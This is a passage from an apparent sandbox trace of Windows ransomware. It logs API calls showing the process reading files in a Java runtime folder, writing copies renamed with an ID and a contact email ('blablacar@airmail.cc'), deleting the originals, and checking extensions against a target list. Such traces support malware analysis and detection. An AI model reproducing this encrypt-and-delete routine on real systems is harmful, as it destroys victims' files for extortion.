lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe2, lpOverlapped=0x0) returned 1 [0178.100] SetEndOfFile (hFile=0x450) returned 1 [0178.100] CloseHandle (hObject=0x450) returned 1 [0178.101] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.102] SetEndOfFile (hFile=0x3e8) returned 1 [0178.105] CloseHandle (hObject=0x3e8) returned 1 [0178.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.106] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0178.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.107] lstrlenW (lpString=".doc") returned 4 [0178.107] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString=".docx") returned 5 [0178.107] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0178.107] lstrlenW (lpString=".pdf") returned 4 [0178.107] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString=".xls") returned 4 [0178.107] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString=".xlsx") returned 5 [0178.107] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0178.107] lstrlenW (lpString=".ppt") returned 4 [0178.107] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.107] lstrlenW (lpString=".zip") returned 4 [0178.107] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString=".rar") returned 4 [0178.107] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString=".bz2") returned 4 [0178.107] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString=".7z") returned 3 [0178.107] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.107] lstrlenW (lpString=".dbf") returned 4 [0178.107] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.107] lstrlenW (lpString=".1cd") returned 4 [0178.108] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.108] lstrlenW (lpString=".jpg") returned 4 [0178.108] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.108] lstrlenW (lpString=".doc") returned 4 [0178.108] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString=".docx") returned 5 [0178.108] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0178.108] lstrlenW (lpString=".pdf") returned 4 [0178.108] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString=".xls") returned 4 [0178.108] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString=".xlsx") returned 5 [0178.108] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0178.108] lstrlenW (lpString=".ppt") returned 4 [0178.108] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.108] lstrlenW (lpString=".zip") returned 4 [0178.108] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString=".rar") returned 4 [0178.108] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0178.108] lstrlenW (lpString=".bz2") returned 4 [0178.108] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0178.109] lstrlenW (lpString=".7z") returned 3 [0178.109] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.109] lstrlenW (lpString=".dbf") returned 4 [0178.109] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0178.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.110] lstrlenW (lpString=".1cd") returned 4 [0178.110] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0178.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0178.110] lstrlenW (lpString=".jpg") returned 4 [0178.110] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0178.110] lstrcmpiW (lpString1=".pf", lpString2=".kr") returned 1 [0178.110] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0178.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.462] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1044) returned 1 [0178.468] CloseHandle (hObject=0x404) returned 1 [0178.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0178.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.469] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.469] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.469] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0178.470] GetLastError () returned 0x0 [0178.470] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x414, lpOverlapped=0x0) returned 1 [0178.471] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x420, lpOverlapped=0x0) returned 1 [0178.472] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.473] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xee, lpOverlapped=0x0) returned 1 [0178.473] SetEndOfFile (hFile=0x45c) returned 1 [0178.473] CloseHandle (hObject=0x45c) returned 1 [0178.474] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.474] SetEndOfFile (hFile=0x404) returned 1 [0178.477] CloseHandle (hObject=0x404) returned 1 [0178.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.477] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0178.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.478] lstrlenW (lpString=".doc") returned 4 [0178.478] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString=".docx") returned 5 [0178.478] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0178.478] lstrlenW (lpString=".pdf") returned 4 [0178.478] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString=".xls") returned 4 [0178.478] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString=".xlsx") returned 5 [0178.478] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0178.478] lstrlenW (lpString=".ppt") returned 4 [0178.478] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.478] lstrlenW (lpString=".zip") returned 4 [0178.478] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString=".rar") returned 4 [0178.478] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString=".bz2") returned 4 [0178.478] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0178.478] lstrlenW (lpString=".7z") returned 3 [0178.478] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString=".dbf") returned 4 [0178.479] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString=".1cd") returned 4 [0178.479] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString=".jpg") returned 4 [0178.479] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString=".doc") returned 4 [0178.479] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString=".docx") returned 5 [0178.479] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0178.479] lstrlenW (lpString=".pdf") returned 4 [0178.479] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString=".xls") returned 4 [0178.479] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString=".xlsx") returned 5 [0178.479] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0178.479] lstrlenW (lpString=".ppt") returned 4 [0178.479] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString=".zip") returned 4 [0178.479] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString=".rar") returned 4 [0178.479] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString=".bz2") returned 4 [0178.479] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0178.479] lstrlenW (lpString=".7z") returned 3 [0178.479] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.479] lstrlenW (lpString=".dbf") returned 4 [0178.480] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0178.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.480] lstrlenW (lpString=".1cd") returned 4 [0178.480] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0178.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0178.480] lstrlenW (lpString=".jpg") returned 4 [0178.480] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0178.480] lstrcmpiW (lpString1=".pf", lpString2=".kr") returned 1 [0178.480] lstrlenW (lpString="sRGB.pf") returned 7 [0178.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.480] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3144) returned 1 [0178.480] CloseHandle (hObject=0x404) returned 1 [0178.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0178.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.481] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.481] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0178.481] GetLastError () returned 0x0 [0178.482] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xc48, lpOverlapped=0x0) returned 1 [0178.483] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xc50, lpOverlapped=0x0) returned 1 [0178.484] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.484] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe2, lpOverlapped=0x0) returned 1 [0178.484] SetEndOfFile (hFile=0x45c) returned 1 [0178.484] CloseHandle (hObject=0x45c) returned 1 [0178.485] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.485] SetEndOfFile (hFile=0x404) returned 1 [0178.489] CloseHandle (hObject=0x404) returned 1 [0178.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.490] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0178.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.490] lstrlenW (lpString=".doc") returned 4 [0178.490] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0178.490] lstrlenW (lpString=".docx") returned 5 [0178.490] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0178.490] lstrlenW (lpString=".pdf") returned 4 [0178.490] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0178.490] lstrlenW (lpString=".xls") returned 4 [0178.490] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0178.490] lstrlenW (lpString=".xlsx") returned 5 [0178.490] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0178.490] lstrlenW (lpString=".ppt") returned 4 [0178.490] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0178.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.490] lstrlenW (lpString=".zip") returned 4 [0178.491] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString=".rar") returned 4 [0178.491] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString=".bz2") returned 4 [0178.491] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString=".7z") returned 3 [0178.491] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.491] lstrlenW (lpString=".dbf") returned 4 [0178.491] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.491] lstrlenW (lpString=".1cd") returned 4 [0178.491] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.491] lstrlenW (lpString=".jpg") returned 4 [0178.491] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.491] lstrlenW (lpString=".doc") returned 4 [0178.491] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString=".docx") returned 5 [0178.491] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0178.491] lstrlenW (lpString=".pdf") returned 4 [0178.491] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString=".xls") returned 4 [0178.491] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString=".xlsx") returned 5 [0178.491] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0178.491] lstrlenW (lpString=".ppt") returned 4 [0178.491] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.491] lstrlenW (lpString=".zip") returned 4 [0178.491] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0178.492] lstrlenW (lpString=".rar") returned 4 [0178.492] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0178.492] lstrlenW (lpString=".bz2") returned 4 [0178.492] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0178.492] lstrlenW (lpString=".7z") returned 3 [0178.492] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0178.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.492] lstrlenW (lpString=".dbf") returned 4 [0178.492] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0178.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.492] lstrlenW (lpString=".1cd") returned 4 [0178.492] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0178.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0178.492] lstrlenW (lpString=".jpg") returned 4 [0178.492] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0178.492] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.492] lstrlenW (lpString="content-types.properties") returned 24 [0178.492] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.493] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=5548) returned 1 [0178.493] CloseHandle (hObject=0x404) returned 1 [0178.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0178.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.493] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0178.493] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.493] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.493] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0178.494] GetLastError () returned 0x0 [0178.494] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x15ac, lpOverlapped=0x0) returned 1 [0178.495] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x15b0, lpOverlapped=0x0) returned 1 [0178.497] ReadFile (in: hFile=0x404, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0178.497] WriteFile (in: hFile=0x45c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x104, lpOverlapped=0x0) returned 1 [0178.497] SetEndOfFile (hFile=0x45c) returned 1 [0178.497] CloseHandle (hObject=0x45c) returned 1 [0178.498] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.498] SetEndOfFile (hFile=0x404) returned 1 [0178.501] CloseHandle (hObject=0x404) returned 1 [0178.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.501] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0178.502] 